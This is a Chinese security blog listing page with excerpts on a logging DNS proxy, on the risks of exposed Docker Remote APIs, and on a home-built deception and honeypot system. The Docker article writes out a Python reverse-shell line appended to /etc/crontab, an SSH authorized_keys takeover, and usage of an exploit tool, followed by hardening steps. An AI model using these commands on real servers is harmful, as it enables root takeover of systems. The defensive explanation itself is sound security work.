8 15

DNS代理服务器,可以记录log到数据库中

xsec-dns-server

xsec dns proxy server为一个DNS代理服务器,可以将DNS请求代理到后端的DNS服务器中,在代理的过程中会将dns log写入到数据库中。

主要特性如下:

  1. 代理DNS请求并记录请求数据
  2. 后端支持 sqlite、postgres、mysql和mongodb四种数据库

使用说明:

$ ./xsec-dns-server 
[xorm] [info]  2017/08/15 11:01:24.497380 PING DATABASE mysql
NAME:
   xsec dns proxy server - xsec dns proxy server

USAGE:
   xsec-dns-server [global options] command [command options] [arguments...]
   
VERSION:
   0.1
   
COMMANDS:
     serve    dns proxy Server
     web      web server
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h     show help
   --version, -v  print the version

  • serve参数表示启动一个dns代理服务器
  • web 参数表示启动一个简单WEB服务器,用来查看dns日志。

运行截图

项目地址:https://github.com/netxfly/xsec-ip-database

更新记录

2017/9/28

  • 恶意域名的种子中新增了360 netlab提供的DGA,使得域名记录直接上到了百万级。

![](https://docs.xsec.io/images/evil_ips/netlab_360.png)

  • 因为data.netlab.360.com在国内,而且体积在70M以上,所以从vps中的拉取速度很慢,建议下载到本地,将feeds/netlab360.go中的URL改为本地地址。
url := "http://data.netlab.360.com/feeds/dga/dga.txt"
// url := "http://127.0.0.1:8000/dga.txt"
  • 如果vps内存不足,会在将恶意IP和域名导出到文件中时报错,解决方案为增加swap分区。
2 14

Docker Remote api在安全中的应用杂谈

概述

部门每周三例行的技术分享投稿文章,首发在小米安全中心

众所周知,Docker daemon默认是监听在unix socket上的,如unix:///var/run/docker.sock。 官方还提供一个Rustful api接口,允许通过TCP远程访问Docker,例如执行以下启动参数可以让docker监听在本地所有地址的2375端口上:

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

之后就可以用docker client或任意http客户端远程访问了:

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

但是开启这种没有任何访问控制的Docker remote Api服务是非常危险的,攻击者发现后可以轻松地拿下整个服务器的权限。

攻击方法

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法如下:

  1. 启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了
  2. 启动一个容器,挂载宿主机的/etc/目录,之后将反弹shell的脚本写入到/etc/crontab中,攻击者会得到一个反弹的shell,其中反弹shell脚本的样例如下:

    echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
    

第2种利用方法也可以挂载var/spool/cron/目录,将反弹shell的脚本写入到/var/spool/cron/root(centos系统)/var/spool/cron/crontabs/root(ubuntu系统)

手工利用方法网上有很多,就不多说了,笔者直接给出一个go语言版的自动化利用工具,github地址为:https://github.com/netxfly/docker-remote-api-exp,使用方法如下:

$ ./remote_api_exp
Usage of ./remote_api_exp:
  -pubkey string
        id_rsa.pub file (default "/root/.ssh/id_rsa.pub")
  -reverse string
        reverse address, 6.6.6.6:8888
  -target string
        target ip, 1.1.1.1:2375
  -type string
        Type, such as check, root, shell (default "check")
  -version string
        Docker version:
        ---------------------------
        Docker version  API Version
        ---------------------------
        1.12.x          1.24
        1.11.x          1.23
        1.10.x          1.22
        1.9.x           1.21
        1.8.x           1.20
        1.7.x           1.19
        1.6.x           1.18

 (default "1.12")

参数说明:

  1. ./remote_api_exp -type=check -target=ip:2375,获取服务器信息,如操作系统,机器名,remote api版本以及docker的安装位置等
  2. ./remote_api_exp -type=root -target=ip:2375 -version=1.12.3,在/root/.ssh/authorized_keys写入攻击者的ssh公钥
  3. ./remote_api_exp -type=shell -target=ip:2375 -version=1.12.3 -reverse=attackerIp:8888,给攻击者反弹一个shell

使用示例:

  1. 以root账户登录

  2. 获取一个反弹shell

也许有运维同学觉得这是因为监听在了外网,所以攻击者才有机会攻击,如果我不监听在外网就没有安全隐患了,其实监听在内网也有以下安全隐患:

  1. 外网攻击者可以通过WEB应用的SSRF漏洞,间接地攻击内网中的这些未授权的Docker remote api服务;
  2. 方便已经攻入内网的攻击者扩大攻击范围;
  3. 可能会被内部别有用心的人攻击,然后窃取敏感数据。

安全加固

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

  1. 设置ACL,仅允许信任的来源IP连接;
  2. 设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

安全建设

以上咱们回顾了下docker remote api未授权访问认证的安全风险与利用方法,接下来咱们再切换到安全建设视角,用docker remote api构建一个可自动弹性伸缩的ssh蜜罐系统。

现在有不少安全从业者使用docker来做为蜜罐的沙箱了,但是存在一个普通的问题是:所有攻击者连接的都是同一个沙盒,放在外网的沙盒,经常会有多个攻击者同一时间段进入的可能,他们彼此之间可能会看到对方的行为从而识破蜜罐或者为我们单独分析日志造成干扰。

我们的愿景是让所有攻击者都能用上独立的沙盒。您来的时候自动为您开一个全新的沙盒,然后默默地记录下您的操作行为,您走后一段时间会自动销毁沙盒,把资源预留出来接待其他即将到来的黑客兄弟们。

11 2

自制攻击欺骗防御系统

部门每周三例行的技术分享投稿文章,首发在小米安全中心的公众号

自制攻击欺骗防御系统

概述

峥嵘栋梁,一旦而摧;水月镜像,无心来去。

本次自制的欺骗防御系统名字叫镜花水月,镜花水月是《死神》中蓝染惣右介的斩魄刀(幻觉系最强斩魄刀)的名字,能力是完全支配对手的五感。

这个名字非常适合攻击欺骗防御类系统:把攻击者的流量从正常的请求中区分、剥离出来,并无缝地转移到伪造了正常业务和服务的沙盒中,让攻击者去沙盒环境中玩耍并会记录其详细的行为。

与传统的蜜罐相比,镜花水月的优点为:

  1. 零误报(只对内部或外部的攻击行为进行报警);
  2. 保护业务系统(第一时间会将攻击者从正常的服务中转移到沙箱环境中,攻击者却浑然不知);
  3. 方便取证及定位攻击者(沙盒中会记录攻击者的来源及详细的攻击行为)。

技术架构

镜花水月由4个模块组成:

  1. Agent,部署于服务器中的Agent,用于实时获取用户的访问日志并传递到检测端Server中,如果是恶意攻击,则会将流量重定向到沙盒中。目前支持的服务有:
    1. WEB
    2. FTP
    3. SSH
    4. Rsync
    5. Mysql
    6. Redis
    7. Mongodb
  2. Server,攻击检测服务器,实时检测Agent传递过来的日志并判断是否为攻击者,并为Agent动态、实时地维护了一份攻击者的来源IP策略;
  3. Manager,策略管理服务器,有为Agent和server提供策略、攻击log统计、查看的功能
  4. 沙盒由以下3部分构成:
    1. 安装了FTP、SSH、Rsync、Mysql、Redis和Mongodb的虚拟机或Docker,可实时将这些服务的访问log发送到远程的Rsyslog中
    2. 克隆的WEB站点
    3. 日志服务器,将沙盒通过Rsyslog发送过来的数据解析出来并入库,供Manager查询、分析

为了方便部署以及高性能的要求,镜花水月的各组件中除了WEB攻击检测模块是用lua开发的外,其余的全是用go语言开发的(WEB攻击检测模块是基于openresty+lua开发的)。

pager.prev pager.next